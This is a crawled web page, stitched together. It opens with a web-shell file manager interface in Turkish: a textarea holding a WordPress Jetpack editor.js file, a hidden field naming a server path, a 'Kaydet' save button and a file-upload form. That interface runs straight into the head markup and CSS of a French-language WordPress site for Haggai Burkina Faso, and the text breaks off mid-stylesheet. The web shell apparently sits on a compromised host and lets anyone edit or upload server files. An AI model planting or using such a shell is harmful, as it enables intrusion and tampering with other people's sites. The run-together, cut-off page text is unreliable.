quot;,&quot;ai-assistant-usage-panel&quot;,&quot;sharing-button&quot;,&quot;sharing-buttons&quot;,&quot;ai-content-lens&quot;,&quot;blog-stats&quot;,&quot;top-posts&quot;,&quot;goodreads&quot;,&quot;voice-to-content&quot;,&quot;ai-featured-image-generator&quot;,&quot;ai-title-optimization&quot;,&quot;ai-assistant-experimental-image-generation-support&quot;,&quot;ai-general-purpose-image-generator&quot;,&quot;ai-proofread-breve&quot;,&quot;ai-assistant-site-logo-support&quot;,&quot;ai-title-optimization-keywords-support&quot;,&quot;ai-response-feedback&quot;,&quot;ai-assistant-image-extension&quot;,&quot;ai-seo-enhancer&quot;,&quot;ai-correct-spelling&quot;,&quot;paypal-payment-buttons&quot;,&quot;image-studio&quot;,&quot;block-notes&quot;],&quot;beta&quot;:[&quot;google-docs-embed&quot;,&quot;recipe&quot;,&quot;v6-video-frame-poster&quot;,&quot;videopress/video-chapters&quot;,&quot;ai-assistant-backend-prompts&quot;,&quot;ai-list-to-table-transform&quot;],&quot;experimental&quot;:[],&quot;no-post-editor&quot;:[&quot;ai-assistant&quot;,&quot;business-hours&quot;,&quot;button&quot;,&quot;calendly&quot;,&quot;contact-form&quot;,&quot;contact-info&quot;,&quot;donations&quot;,&quot;eventbrite&quot;,&quot;gif&quot;,&quot;google-calendar&quot;,&quot;instagram-gallery&quot;,&quot;mailchimp&quot;,&quot;map&quot;,&quot;markdown&quot;,&quot;opentable&quot;,&quot;pinterest&quot;,&quot;rating-star&quot;,&quot;related-posts&quot;,&quot;repeat-visitor&quot;,&quot;simple-payments&quot;,&quot;slideshow&quot;,&quot;tiled-gallery&quot;,&quot;tock&quot;,&quot;videopress&quot;,&quot;voice-to-content&quot;,&quot;wordads&quot;]}&#039;)}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var o=t[r]={exports:{}};return e[r].call(o.exports,o,o.exports,s),o.exports}s.n=e=&gt;{var t=e&amp;&amp;e.__esModule?()=&gt;e.default:()=&gt;e;return s.d(t,{a:t}),t},s.d=(e,t)=&gt;{for(var r in t)s.o(t,r)&amp;&amp;!s.o(e,r)&amp;&amp;Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=&gt;Object.prototype.hasOwnProperty.call(e,t),s.r=e=&gt;{&quot;undefined&quot;!=typeof Symbol&amp;&amp;Symbol.toStringTag&amp;&amp;Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}),Object.defineProperty(e,&quot;__esModule&quot;,{value:!0})},(()=&gt;{var e;globalThis.importScripts&amp;&amp;(e=globalThis.location+&quot;&quot;);var t=globalThis.document;if(!e&amp;&amp;t&amp;&amp;(t.currentScript&amp;&amp;&quot;SCRIPT&quot;===t.currentScript.tagName.toUpperCase()&amp;&amp;(e=t.currentScript.src),!e)){var r=t.getElementsByTagName(&quot;script&quot;);if(r.length)for(var n=r.length-1;n&gt;-1&amp;&amp;(!e||!/^http(s?):/.test(e));)e=r[n--].src}if(!e)throw new Error(&quot;Automatic publicPath is not supported in this browser&quot;);e=e.replace(/^blob:/,&quot;&quot;).replace(/#.*$/,&quot;&quot;).replace(/\?.*$/,&quot;&quot;).replace(/\/[^\/]+$/,&quot;/&quot;),s.p=e})(),s(67858),s(61351),s(8393),s(88797),s(87888),s(71410),s(45878),s(60312),s(78165),s(25907),s(46197),s(34590),s(55734),s(29280),s(33129),s(92585),s(67511),s(24938),s(97618),s(12742),s(57809),s(82144),s(74585),s(46010),s(80800),s(80587),s(8171),s(75849),s(1063),s(79238),s(38136),s(44921),s(29590),s(48715),s(96764),s(55127),s(94052),s(13554),s(25589),s(4595),s(27156),s(99398),s(76599),s(42286),s(54154),s(19954),s(22475),s(3361),s(39843),s(74956),s(25101),s(95184),s(99883),s(80838);s(72718)})();</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-content/plugins/jetpack/_inc/blocks/editor.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Tableau de bord | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Ftableau-de-bord%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Ftableau-de-bord%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d4ca499413*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes 